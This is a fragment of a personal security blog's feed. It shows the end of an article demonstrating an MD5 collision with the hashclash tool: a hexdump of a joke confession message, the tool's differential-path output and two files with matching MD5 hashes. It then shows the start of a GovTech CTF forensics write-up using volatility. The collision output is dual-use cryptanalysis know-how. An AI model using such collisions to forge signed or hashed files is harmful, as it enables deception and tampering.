&lt;span class="m"&gt;00000000&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;492c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2042&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;656e&lt;span class="w"&gt; &lt;/span&gt;6a61&lt;span class="w"&gt; &lt;/span&gt;6d69&lt;span class="w"&gt; &lt;/span&gt;6e20&lt;span class="w"&gt; &lt;/span&gt;4c69&lt;span class="w"&gt; &lt;/span&gt;6d2c&lt;span class="w"&gt;  &lt;/span&gt;I,&lt;span class="w"&gt; &lt;/span&gt;Benjamin&lt;span class="w"&gt; &lt;/span&gt;Lim,
&lt;span class="m"&gt;00000010&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2069&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6e20&lt;span class="w"&gt; &lt;/span&gt;6d79&lt;span class="w"&gt; &lt;/span&gt;206c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6966&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6574&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;696d&lt;span class="w"&gt; &lt;/span&gt;652c&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;my&lt;span class="w"&gt; &lt;/span&gt;lifetime,
&lt;span class="m"&gt;00000020&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2063&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6f6e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6665&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7373&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2074&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6f20&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7468&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6520&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;confess&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;the
&lt;span class="m"&gt;00000030&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;6d75&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7264&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6572&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;206f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6620&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6120&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;746f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7461&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;murder&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;tota
&lt;span class="m"&gt;00000040&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;6c20&lt;span class="w"&gt; &lt;/span&gt;6e6f&lt;span class="w"&gt; &lt;/span&gt;2e20&lt;span class="w"&gt; &lt;/span&gt;6f66&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2030&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2070&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;656f&lt;span class="w"&gt; &lt;/span&gt;706c&lt;span class="w"&gt;  &lt;/span&gt;l&lt;span class="w"&gt; &lt;/span&gt;no.&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;peopl
&lt;span class="m"&gt;00000050&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;652f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7065&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7273&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6f6e&lt;span class="w"&gt; &lt;/span&gt;2e00&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0000&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;e/person....

/hashclash/scripts/poc_no.sh&lt;span class="w"&gt; &lt;/span&gt;message.bin
MD5&lt;span class="w"&gt; &lt;/span&gt;differential&lt;span class="w"&gt; &lt;/span&gt;path&lt;span class="w"&gt; &lt;/span&gt;toolbox
Copyright&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;C&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2009&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Marc&lt;span class="w"&gt; &lt;/span&gt;Stevens
http://homepages.cwi.nl/~stevens/

delta_m&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;!8!&lt;span class="o"&gt;]&lt;/span&gt;
In-block&lt;span class="w"&gt; &lt;/span&gt;prefix&lt;span class="w"&gt; &lt;/span&gt;words:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;

Parsed&lt;span class="w"&gt; &lt;/span&gt;path:
Q-3:&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;00010100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10010010&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01110101&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01110000&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
Q-2:&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;00011010&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10110110&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;00011101&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10001110&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
Q-1:&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;10110111&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;00001111&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01000010&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11111100&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
Q0:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;11001010&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10000111&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11010111&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Q1:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;10011011&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01101011&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;00100000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01001101&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Q2:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;10101110&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11101011&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10010001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11010000&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Q3:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;10000&lt;/span&gt;+-1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01100111&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10111101&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01000101&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Q4:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;011000&lt;/span&gt;+0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0000110&lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10010011&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11011010&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Q5:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;-------1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000010&lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11100100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10011&lt;/span&gt;-++&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Q6:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="m"&gt;101001&lt;/span&gt;+1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;110110&lt;/span&gt;+-&lt;span class="w"&gt; &lt;/span&gt;+-0+00++&lt;span class="w"&gt; &lt;/span&gt;--1-++++&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Q7:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;+-+10-00&lt;span class="w"&gt; &lt;/span&gt;+0011+01&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;011&lt;/span&gt;+00-1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;+1010+-&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.0253906
Q8:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;+.+...-.&lt;span class="w"&gt; &lt;/span&gt;+......+&lt;span class="w"&gt; &lt;/span&gt;...+.-.+&lt;span class="w"&gt; &lt;/span&gt;.+.-.+.+&lt;span class="p"&gt;|&lt;/span&gt;
Saving&lt;span class="w"&gt; &lt;/span&gt;data/path_prefix.bin...done.
Continuing&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;seconds...
Extend&lt;span class="w"&gt; &lt;/span&gt;MD5&lt;span class="w"&gt; &lt;/span&gt;differential&lt;span class="w"&gt; &lt;/span&gt;paths&lt;span class="w"&gt; &lt;/span&gt;forward
Copyright&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;C&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2009&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Marc&lt;span class="w"&gt; &lt;/span&gt;Stevens
http://homepages.cwi.nl/~stevens/

delta_m&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;!8!&lt;span class="o"&gt;]&lt;/span&gt;

...

&lt;span class="m"&gt;8192&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;16384&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;32768&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;65536&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;115866&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="m"&gt;121381&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="m"&gt;131072&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="m"&gt;179993&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;
&lt;span class="m"&gt;262144&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;
&lt;span class="m"&gt;311107&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;
Block&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;./data/coll1_66747968
c0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;65&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0e&lt;span class="w"&gt; &lt;/span&gt;c7&lt;span class="w"&gt; &lt;/span&gt;c9&lt;span class="w"&gt; &lt;/span&gt;5d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;62&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;42&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;d4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;06&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;aa&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;38&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;d3&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;95&lt;/span&gt;
&lt;span class="m"&gt;51&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ea&lt;span class="w"&gt; &lt;/span&gt;fe&lt;span class="w"&gt; &lt;/span&gt;df&lt;span class="w"&gt; &lt;/span&gt;a7&lt;span class="w"&gt; &lt;/span&gt;8c&lt;span class="w"&gt; &lt;/span&gt;b6&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;7a&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;da&lt;span class="w"&gt; &lt;/span&gt;5e&lt;span class="w"&gt; &lt;/span&gt;3f&lt;span class="w"&gt; &lt;/span&gt;3e&lt;span class="w"&gt; &lt;/span&gt;c2&lt;span class="w"&gt; &lt;/span&gt;b5
7d&lt;span class="w"&gt; &lt;/span&gt;b7&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;87&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;a0&lt;span class="w"&gt; &lt;/span&gt;f8&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;03&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6f&lt;span class="w"&gt; &lt;/span&gt;e1&lt;span class="w"&gt; &lt;/span&gt;d6&lt;span class="w"&gt; &lt;/span&gt;f5&lt;span class="w"&gt; &lt;/span&gt;0e&lt;span class="w"&gt; &lt;/span&gt;6e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;99&lt;/span&gt;
f3&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;c9&lt;span class="w"&gt; &lt;/span&gt;a2&lt;span class="w"&gt; &lt;/span&gt;0d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;77&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;49&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;43&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;55&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;8b&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;c7&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;40&lt;/span&gt;
Block&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;./data/coll2_66747968
c0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;65&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0e&lt;span class="w"&gt; &lt;/span&gt;c7&lt;span class="w"&gt; &lt;/span&gt;c9&lt;span class="w"&gt; &lt;/span&gt;5d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;62&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;42&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;03&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;d4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;06&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;aa&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;38&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;d3&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;95&lt;/span&gt;
&lt;span class="m"&gt;51&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ea&lt;span class="w"&gt; &lt;/span&gt;fe&lt;span class="w"&gt; &lt;/span&gt;df&lt;span class="w"&gt; &lt;/span&gt;a7&lt;span class="w"&gt; &lt;/span&gt;8c&lt;span class="w"&gt; &lt;/span&gt;b6&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;7a&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;da&lt;span class="w"&gt; &lt;/span&gt;5e&lt;span class="w"&gt; &lt;/span&gt;3f&lt;span class="w"&gt; &lt;/span&gt;3e&lt;span class="w"&gt; &lt;/span&gt;c2&lt;span class="w"&gt; &lt;/span&gt;b5
7d&lt;span class="w"&gt; &lt;/span&gt;b7&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;87&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;a0&lt;span class="w"&gt; &lt;/span&gt;f8&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;03&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6f&lt;span class="w"&gt; &lt;/span&gt;e1&lt;span class="w"&gt; &lt;/span&gt;d6&lt;span class="w"&gt; &lt;/span&gt;f5&lt;span class="w"&gt; &lt;/span&gt;0e&lt;span class="w"&gt; &lt;/span&gt;6e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;99&lt;/span&gt;
f3&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;c9&lt;span class="w"&gt; &lt;/span&gt;a2&lt;span class="w"&gt; &lt;/span&gt;0d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;77&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;49&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;43&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;55&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;8b&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;c7&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;40&lt;/span&gt;
Found&lt;span class="w"&gt; &lt;/span&gt;collision!
f3f2f56ac8fbf44e1c326c19a93fe61c&lt;span class="w"&gt;  &lt;/span&gt;collision1.bin
f3f2f56ac8fbf44e1c326c19a93fe61c&lt;span class="w"&gt;  &lt;/span&gt;collision2.bin
9d532ab75da9aaaaf7210748f3c4678a0ffb2b25&lt;span class="w"&gt;  &lt;/span&gt;collision1.bin
2d7ff13b9c83243e722fc51b67128f49e5ec6d0f&lt;span class="w"&gt;  &lt;/span&gt;collision2.bin
&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-rw-r--r--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Dec&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;08&lt;/span&gt;:21&lt;span class="w"&gt; &lt;/span&gt;collision1.bin
&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-rw-r--r--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Dec&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;08&lt;/span&gt;:21&lt;span class="w"&gt; &lt;/span&gt;collision2.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>GovTech CTF Writeup</title><link href="https://limbenjamin.com/articles/govtech-ctf-writeup.html" rel="alternate"></link><published>2020-12-09T21:26:00+08:00</published><updated>2020-12-09T21:26:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-12-09:/articles/govtech-ctf-writeup.html</id><summary type="html">&lt;h2&gt;Index&lt;/h2&gt;
&lt;p&gt;Forensics - &lt;a href="#forensics"&gt;Walking down a colourful memory lane&lt;/a&gt;&lt;br&gt;
OSINT - &lt;a href="#osint"&gt;Sounds of freedom!&lt;/a&gt;&lt;br&gt;
Cloud - &lt;a href="#cloud"&gt;Find the leaking bucket!&lt;/a&gt;&lt;br&gt;
Bonus - &lt;a href="#bonus"&gt;Bonus flag for submitting Awesome Write-up&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a name="forensics"&gt;Walking down a colourful memory lane&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;We are trying to find out how did our machine get infected. What did the user do?&lt;/p&gt;
&lt;p&gt;Please view this …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;h2&gt;Index&lt;/h2&gt;
&lt;p&gt;Forensics - &lt;a href="#forensics"&gt;Walking down a colourful memory lane&lt;/a&gt;&lt;br&gt;
OSINT - &lt;a href="#osint"&gt;Sounds of freedom!&lt;/a&gt;&lt;br&gt;
Cloud - &lt;a href="#cloud"&gt;Find the leaking bucket!&lt;/a&gt;&lt;br&gt;
Bonus - &lt;a href="#bonus"&gt;Bonus flag for submitting Awesome Write-up&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a name="forensics"&gt;Walking down a colourful memory lane&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;We are trying to find out how did our machine get infected. What did the user do?&lt;/p&gt;
&lt;p&gt;Please view this Document for download instructions. &lt;/p&gt;
&lt;p&gt;forensics-challenge-1.mem - 2.0GB&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I was kind of dreading this challenge when I first read it. I wouldn't have taken on this case as an ex-cyber forensics analyst. Forensic cases usually have a trigger point where analysis can start, a suspicious executable running on a workstation, a large data upload at a certain time... Finding anything malicious is not forensics, it is a treasure hunt. Are you referring to the adware running on the machine, or do I have to dig much much deeper to get to the UEFI rootkit.  &lt;/p&gt;
&lt;p&gt;Anyway, to start analysing the memory image, we normally run the volatility &lt;code&gt;imageinfo&lt;/code&gt; plugin to determine the OS version. If multiple profiles are returned, the general rule of thumb is to select the most specific profile, the one with release version. It is likely to be a better fit and plugins will have a higher chance of working correctly.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="imageinfo" src="//limbenjamin.com/media/gtctf_f0_imageinfo.png"&gt;&lt;/p&gt;
